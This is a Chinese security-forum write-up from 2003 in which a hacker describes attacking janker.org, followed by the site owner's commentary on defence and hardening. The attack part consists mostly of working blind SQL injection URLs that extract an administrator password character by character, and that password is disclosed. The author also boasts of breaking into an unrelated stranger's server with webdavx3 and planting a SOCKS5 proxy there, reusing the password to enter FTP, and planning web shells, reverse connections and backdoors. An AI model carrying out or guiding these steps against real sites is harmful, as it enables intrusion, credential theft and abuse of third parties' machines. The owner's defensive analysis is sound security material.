|
我是這樣滲透入侵孤獨(dú)劍客網(wǎng)站(janker.org)的 作者:N.E.V.E.R 日期:2003年5月22日 出自http://www.janker.org
不成功的入侵還是有點(diǎn)借鑒價(jià)值的,我想同樣的方法換一個(gè)地方的話,說(shuō)不定就成功了。 目的地www.janker.org,呵呵,應(yīng)該算是授權(quán)了的吧。傳說(shuō)中的黑客叔叔們都是先踩點(diǎn)的, 如果我有條件的話,一定先到機(jī)房附近去看看,興許還能撿到點(diǎn)密碼什么的。不過(guò)實(shí)在太遠(yuǎn),買車
票過(guò)去的時(shí)間說(shuō)不定我都可以打一把Windforce了,還是來(lái)點(diǎn)遠(yuǎn)程的吧。 拿出掃描器甲乙丙丁一陣亂掃,呵呵,結(jié)果大家都能猜到,就不廢話了。反正80和23是開著的
,這個(gè)結(jié)果要記住。 系統(tǒng)漏洞沒(méi)有的話,有幾種方法可以供選擇:1、滲透;2、腳本漏洞。當(dāng)然,還可以玩
D.D.o.S,還可以背上炸藥包炸主機(jī),還可以用拖網(wǎng)把電纜弄斷,還可以開飛機(jī)把那棟樓撞了,等
等。當(dāng)然這些要看攻擊者的想象力,我還是老老實(shí)實(shí)的看腳本。 找啊找啊,找了幾秒鐘,找到一個(gè)地方?jīng)]有很好的處理參數(shù)id。 http://www.janker.org/show.asp?id=2;-- 出錯(cuò)了!癕icrosoft JET Database Engine 錯(cuò)誤 "80040e14" 在 SQL 語(yǔ)句結(jié)尾之后找到字
符!编,大蝦們肯定已經(jīng)看出來(lái)了吧?我想來(lái)想去覺(jué)得這句話告訴了兩件事情:一、用的是
ACCESS數(shù)據(jù)庫(kù);二、腳本里面興許有什么" where id=" & request("id")之類的沒(méi)有過(guò)濾的洞洞。
關(guān)鍵是怎么用呢? 我還是決定像瞎子摸象一樣再看看,猜了一會(huì)兒后,覺(jué)得一個(gè)發(fā)布系統(tǒng)遠(yuǎn)程總會(huì)有一個(gè)管理系
統(tǒng)吧,猜猜表名看看。 http://www.janker.org/show.asp?id=2 or id in (select id from admin) OK,沒(méi)有報(bào)錯(cuò),那么說(shuō)起來(lái)存在一個(gè)admin的表,而且這張表里面有id項(xiàng),其實(shí)后來(lái)想想這樣
不好,子查詢只是要確定一下有沒(méi)有admin這張表,用..... id <> (select count(*) from
admin)比較好。 繼續(xù)猜,猜了幾個(gè)常見(jiàn)的列名,嗯,得到的結(jié)果是有user,password。到這里的時(shí)候,我覺(jué)得
我走了很多彎路,雖然第一直覺(jué)是這是一個(gè)免費(fèi)的公開源代碼的東東,但是因?yàn)橐幌伦游覜](méi)有認(rèn)出
來(lái)是什么(我看過(guò)的東西很少啊,呵呵……),就沒(méi)有去找下載,現(xiàn)在猜得頭暈,覺(jué)得還是應(yīng)該去
找代碼來(lái)看比較好。 于是我的方向又轉(zhuǎn)到如何去找相同的東東。呵呵,很笨的,我想到了在google.coms搜索
fir.asp,因?yàn)閒ir.asp是很奇怪的一個(gè)名字,結(jié)果我找到了很多很多相同的站點(diǎn)。我覺(jué)得幾千個(gè)結(jié)
果里面總有非常容易入侵的機(jī)器吧,嗯,我用的是webdavx3,大約失敗60次以后,終于找了一個(gè)進(jìn)
去。當(dāng)然啦,我只是要看看代碼,沒(méi)有別的意思,只是在這臺(tái)機(jī)器上裝了socks5代理(呵呵),補(bǔ)
上漏洞就出來(lái)了。 這個(gè)時(shí)候已經(jīng)臨近熄燈時(shí)間,我就干脆斷了網(wǎng)看代碼,嗯,應(yīng)該說(shuō)是看那個(gè)Access數(shù)據(jù)庫(kù)。早
這樣的話,我就會(huì)少走好多彎路啊,不過(guò)猜猜也很有意思,大腦長(zhǎng)期不用會(huì)生銹的。 有人想到直接下數(shù)據(jù)庫(kù)吧?呵呵,哪有這么容易的事情啊,數(shù)據(jù)庫(kù)的名字百分之一百二被改掉
了。 嗯,反正我已經(jīng)知道admin表是怎樣的了,猜猜密碼也還不算是太累的工作。先看看admin里面
有幾個(gè)管理員。 http://www.janker.org/show.asp?id=3 AND 1<(select count(*) from admin) 嗯,比一個(gè)多…… http://www.janker.org/show.asp?id=3 AND 10<(select count(*) from admin) 沒(méi)有十個(gè)…… (省略無(wú)聊過(guò)程若干) http://www.janker.org/show.asp?id=3 AND 5=(select count(*) from admin) 有五個(gè)管理員呢,隨便找一個(gè)破一下啊…… 我選的是id=1的,我先猜的是它的密碼第一位,呵呵,密碼總要一位一位的猜嘛…… http://www.janker.org/show.asp?id=3 and 1=(select id from admin where left
(password,1)="q") 嗯,顯示是“未指定所需參數(shù)!”那么第一位不是q了,如果我們提交的SQL查詢正確執(zhí)行——也就
是我們猜對(duì)了的話,是會(huì)出來(lái)id=3的那篇文章的(前面的那些也一樣)。繼續(xù)來(lái)吧…… w、e、r、t、y……猜了一會(huì)兒,結(jié)果出來(lái)了。 http://www.janker.org/show.asp?id=3 and 1=(select id from admin where left
(password,1)="j") 顯示了id為3的那篇文章,密碼第一位為j。 暫停一下,如果密碼有個(gè)2、30位的話,豈不是要猜死了,先看看密碼有幾位再說(shuō)吧。方法和
猜管理員的個(gè)數(shù)是一樣的,直接給出結(jié)果 http://www.janker.org/show.asp?id=3 and 1=(select id from admin where len(password)=7
and id=1) 7位,剛好在我的心理承受范圍之內(nèi),8位以上的話就要考慮寫程序猜了。猜測(cè)的過(guò)程是美好的
,你看到第一位是j后會(huì)怎樣想呢,優(yōu)先猜的肯定是a、A、4、@、k之類的吧?如果你猜到了前面三
位是jk2,后面的00也會(huì)很自信的寫上去吧?最后的密碼是jk2008!,呵呵,如果你在30分鐘內(nèi)沒(méi)有
一位一位的猜出來(lái)的話,就不要做hacker/cracker了。還是給出過(guò)程: http://www.janker.org/show.asp?id=3 and 1=(select id from admin where left
(password,2)="jk")
http://www.janker.org/show.asp?id=3 and 1=(select id from admin where left
(password,3)="jk2")
http://www.janker.org/show.asp?id=3 and 1=(select id from admin where left
(password,4)="jk20")
http://www.janker.org/show.asp?id=3 and 1=(select id from admin where left
(password,5)="jk200")
http://www.janker.org/show.asp?id=3 and 1=(select id from admin where left
(password,6)="jk2008")
http://www.janker.org/show.asp?id=3 and 1=(select id from admin where left
(password,7)="jk2008!") 嗯,大家在考場(chǎng)上有沒(méi)有擲色子做選擇題的經(jīng)歷?一般都是扔兩次吧,呵呵,驗(yàn)算一下也是
很必要的哦。順便把用戶名也猜出來(lái)了…… http://www.janker.org/show.asp?id=3 and 1=(select id from admin where
password="jk2008!" and name="janker") 經(jīng)過(guò)一番搗鼓,我終于得到了一個(gè)用戶名/密碼,嗯,很費(fèi)工夫吧?費(fèi)工夫的還在后面呢,還
有四個(gè)用戶可是等著我們猜的。當(dāng)然,全部得到我想要的東西時(shí),已經(jīng)是第二天的事情了,至于用
戶名密碼,我就不說(shuō)了,我只是說(shuō)過(guò)程嘛…… 然后干什么就是定式了吧?我選擇的道路是先進(jìn)入管理界面發(fā)布兩條搞笑的消息,然后說(shuō)不定
有什么跨站腳本漏洞,新聞是顯示在首頁(yè)上的,沒(méi)有過(guò)濾html字符的情況下,你可以想辦法建一個(gè)
1600x1200的div,背景色設(shè)定為黑,真正把它“黑”掉;蛘咚⑿碌侥阕约簜卧斓捻(yè)面上,等待那
些習(xí)慣從首頁(yè)登陸的同志們的密碼,哈哈哈哈……一切都很順利,不是嗎?可是管理界面在哪里呢
? http://www.janker.org/admin/ 該頁(yè)無(wú)法顯示,faint!原來(lái)把管理的路徑改了……這不是耍我嘛,搞了半天,做的都沒(méi)有用
嘛…… 嗯,還有一個(gè)辦法的,呵呵,要不然太沒(méi)有面子了。我干嘛要把幾個(gè)密碼都破出來(lái)啊,不就是
想多一條路嗎,還有FTP呢。呵呵,我記得在哪里看到說(shuō)很多人都是用的一個(gè)密碼,試了一下,有
一個(gè)果然進(jìn)去了。 GAME OVER!故事到這里就結(jié)束了。呵呵,沒(méi)有成功吧,因?yàn)槲乙呀?jīng)累了,而且覺(jué)得很無(wú)聊啊
,更加重要的是Janker告訴我有人以前用相同的方法得到過(guò)密碼,我想建設(shè)永遠(yuǎn)比破壞困難,而我
比較喜歡困難的事情。 如果要繼續(xù)的話,故事也許會(huì)是…… 完美結(jié)局一: 上傳的目錄可以執(zhí)行腳本,于是上傳了一個(gè).asp的SHELL,然后上傳NC一類的東西反向連接,
提升權(quán)限,清除腳印,安裝后門,KO。 完美結(jié)局二: 上傳的目錄不可執(zhí)行腳本……怎么辦呢…… 上傳了一個(gè)精心制作的folder.htr和desktop.ini,幾天后,通過(guò)某不知名的木馬的客戶端連
接到了那臺(tái)機(jī)器。 完美結(jié)局三: …… 或許你還可以想出這樣那樣的完美或者是不完美的結(jié)局、然而真正的結(jié)尾只會(huì)有一個(gè)。對(duì)于管
理突圍(后來(lái)我知道這個(gè)系統(tǒng)的名字叫作管理突圍)——一個(gè)2001年的作品,沒(méi)有什么好說(shuō)的?
是用這個(gè)www.invchina.comwww.cnftrade.netwww.zgwl.netwww.manage.org.cn,還有那
些用其它免費(fèi)腳本的那些網(wǎng)站,不自己看看代碼,你們真的能放心嗎?
===========================================
===================
附孤獨(dú)劍客先生的評(píng)語(yǔ):
本人的個(gè)人站點(diǎn)http://www.janker.org http://janker.126.com)做為國(guó)內(nèi)的知名的安全
技術(shù)交流站點(diǎn)之一,自從1999年10月1日建立至今,訪問(wèn)量已達(dá)160多萬(wàn)人次,長(zhǎng)期以來(lái),一直為大
家提供免費(fèi)技術(shù)資料和技術(shù)交流溝通的場(chǎng)所,但由于其在國(guó)內(nèi)安全界的特殊地位,很多安全愛(ài)好者
把本站當(dāng)作了挑戰(zhàn)目標(biāo)也在情理之中,從日志分析可以看出janker.org經(jīng)歷了超過(guò)10萬(wàn)次以上的嘗
試入侵,經(jīng)受了多次DDOS攻擊,但到目前為止,尚沒(méi)有人能夠?qū)崿F(xiàn)更改網(wǎng)站首頁(yè)或獲得管理員權(quán)限
,在此我把管理維護(hù)經(jīng)驗(yàn)和大家做一下交流,分析內(nèi)容見(jiàn)下:
(1)N.E.V.E.R成功破解文章管理員密碼的過(guò)程分析
我的站點(diǎn)很久以來(lái)一直是采用靜態(tài)頁(yè)面的方式,盡管這樣做站點(diǎn)會(huì)更安全,但卻更新麻煩交流不方
便,不能夠?yàn)榇蠹姨峁└皶r(shí)的技術(shù)服務(wù),加上本人工作繁忙,不可能把很多精力投入到這上面來(lái)
,所以就采用了折中的方法,那就是使用免費(fèi)的文章和下載及論壇系統(tǒng),盡管我對(duì)服務(wù)器本身做了
標(biāo)準(zhǔn)的安全設(shè)置和處理,但不可能是去閱讀上萬(wàn)行的第三方代碼,要求一般的腳本程序員寫出安全
的代碼也不太現(xiàn)實(shí),N.E.V.E.R正是利用了腳本代碼對(duì)頁(yè)面提交的變量(GET或POST)檢查不嚴(yán)而嵌
入了非法的SQL查詢,從而可以非授權(quán)訪問(wèn)數(shù)據(jù)庫(kù)的內(nèi)容。事實(shí)上,在此之前已經(jīng)有一位QQ上的
叫.PsKey的朋友利用此方法猜出了密碼,由此可見(jiàn)注入SQL查詢攻擊已經(jīng)為多人所掌握,并且在防
火墻和反病毒軟件已經(jīng)為基本安全配置的如今,腳本攻擊將會(huì)長(zhǎng)期存在下去,而成為影響網(wǎng)絡(luò)安全
的一個(gè)重要因素,就目前而言,防范的主要方法為編寫安全的腳本代碼和設(shè)置安全的服務(wù)器系統(tǒng)。
(2)N.E.V.E.R沒(méi)能夠?qū)崿F(xiàn)更改網(wǎng)站首頁(yè)的原因 要實(shí)現(xiàn)更改首頁(yè)內(nèi)容,可從兩個(gè)方面入手,一是直接修改首頁(yè)文件,二是修改數(shù)據(jù)庫(kù)內(nèi)容,因?yàn)槭?br>
頁(yè)調(diào)用了數(shù)據(jù)庫(kù)的一些數(shù)據(jù)。對(duì)于前者由于首頁(yè)文件設(shè)置了只有系統(tǒng)管理員才有寫的權(quán)限,其它用
戶都是只讀權(quán)限,所以在沒(méi)有獲得系統(tǒng)管理員權(quán)限的情況下,想更改是幾乎不可能的;對(duì)于后者而
言,由于數(shù)據(jù)庫(kù)文件和首頁(yè)文件設(shè)置了相同的權(quán)限,所以可能性不大,也許有的人會(huì)問(wèn)那怎么更新
,其實(shí)方法很簡(jiǎn)單,那就是需要更新的時(shí)候先設(shè)置一般用戶對(duì)數(shù)據(jù)庫(kù)文件可寫,更新完畢再設(shè)置成
只讀,雖然麻煩了但卻增加了安全性。并且,若不能夠進(jìn)入文章管理界面的話,即便擁有用戶賬號(hào)
和密碼要實(shí)現(xiàn)修改數(shù)據(jù)庫(kù)也是比較困難的,當(dāng)然若有人樂(lè)意為我修改為安全代碼的話,可能會(huì)為我
省去這麻煩,但可能省不去的是仍然會(huì)有被同樣手法攻擊的可能,因?yàn)樾薷恼咭矡o(wú)法保證他修改后
就一定安全了,畢竟新的不安全因素是潛在不可預(yù)測(cè)的。
(3)N.E.V.E.R很難在janker.org上實(shí)現(xiàn)權(quán)限提升的依據(jù) 權(quán)限提升的方法有很多種,但不外是漏洞利用、密碼破解和欺騙偽裝等手段,只要安全處理得當(dāng),
實(shí)現(xiàn)起來(lái)也并不容易,janker.org是通過(guò)以下處理來(lái)保障服務(wù)器安全的。 1、系統(tǒng)和應(yīng)用軟件均保持安裝了最新的安全補(bǔ)丁程序。 2、去掉了服務(wù)器中不必要的服務(wù)和軟件系統(tǒng)并設(shè)置了嚴(yán)格的文件目錄和用戶訪問(wèn)權(quán)限。 3、系統(tǒng)中沒(méi)有無(wú)用的用戶賬號(hào)存在,且設(shè)置了復(fù)雜密碼。 4、利用系統(tǒng)自身的端口過(guò)濾功能封閉了不必要的端口,并禁止不必要的外連。 5、安裝有自動(dòng)更新功能的反病毒軟件。 6、安裝有進(jìn)程監(jiān)控軟件,除設(shè)定的程序外其它任何程序均不允許在系統(tǒng)中執(zhí)行。 7、設(shè)置了所有的網(wǎng)站目錄為系統(tǒng)管理員可讀寫,普通用戶只能讀取。 8、網(wǎng)站中所有通過(guò)WEB可上傳文件的目錄均不允許執(zhí)行腳本和程序。 9、為朋友免費(fèi)提供的FTP空間通過(guò)HTTP訪問(wèn)均不允許執(zhí)行腳本和程序。 10、我的習(xí)慣是以普通方式而不是Web方式瀏覽服務(wù)器文件夾,顯示所有隱藏文件和擴(kuò)展名,不直
接打開可疑程序。
當(dāng)然,除上面的以外還做了更多的細(xì)致設(shè)置,比如:服務(wù)器偽裝、限制FSO和SHELL、設(shè)置特殊文件
權(quán)限等等。
總結(jié),通過(guò)N.E.V.E.R的這次滲透入侵,可以看出我本人作為一名專業(yè)的安全人員,能夠做如
此細(xì)致的安全設(shè)置是可以理解的,但相信大多數(shù)安裝了防火墻和入侵監(jiān)測(cè)及反病毒軟件就認(rèn)為高枕
無(wú)憂的網(wǎng)絡(luò)管理員可就需要注意了,腳本的安全問(wèn)題已經(jīng)成了你安全防御線上最薄弱的一環(huán),嚴(yán)重
的話通過(guò)權(quán)限提升可以輕易獲得系統(tǒng)的管理員權(quán)限,但也可以看出只要服務(wù)器自身的安全處理得當(dāng)
,避免某些不可預(yù)料的安全問(wèn)題是可能的。
致謝:
.PsKey - 是他最早告訴我站點(diǎn)使用的突圍文章系統(tǒng)www.laoji.com)存在腳本安全問(wèn)題,并查
出了文章管理員的密碼,記得日期是2003年3月26日,是他促使我更改了管理腳本所在目錄的路徑
,提高了安全性,遺憾的是我仍然沒(méi)有時(shí)間去好好讀讀代碼,真是不到黃河不死心啊 :)。PsKey
朋友的qq是123935563,有興趣的與他聯(lián)系。
N.E.V.E.R - 是他再次提供了友情滲透并替我修改了程序的代碼,增加了代碼的安全性,使得
janker.org能夠更好地為大家服務(wù),他的工作省卻了我去修改那些代碼的時(shí)間,衷心謝謝他!特別
指出的是,此外N.E.V.E.R還曾為新興的大型安全站點(diǎn)“黑客基地”http://www.hackbase.com,
做了友情滲透并修訂了不安全的腳本代碼,發(fā)揚(yáng)了真正的黑客精神,值得大家學(xué)習(xí),這也鞭撻了那
些只會(huì)拿現(xiàn)成工具去亂改頁(yè)面而不知道維護(hù)網(wǎng)絡(luò)安全的偽黑客!N.E.V.E.R的qq是1143431,有興趣
的話大家也可以和他聯(lián)系。
最后感謝所有支持、關(guān)心和愛(ài)護(hù)孤獨(dú)劍客站點(diǎn)的朋友,沒(méi)有你們,我的個(gè)人小站不會(huì)辦到今天
,有了你們它才在四年多以來(lái)以其獨(dú)特的氛圍吸引著一批又一批的安全愛(ài)好者!謝謝。
|
溫馨提示:喜歡本站的話,請(qǐng)收藏一下本站!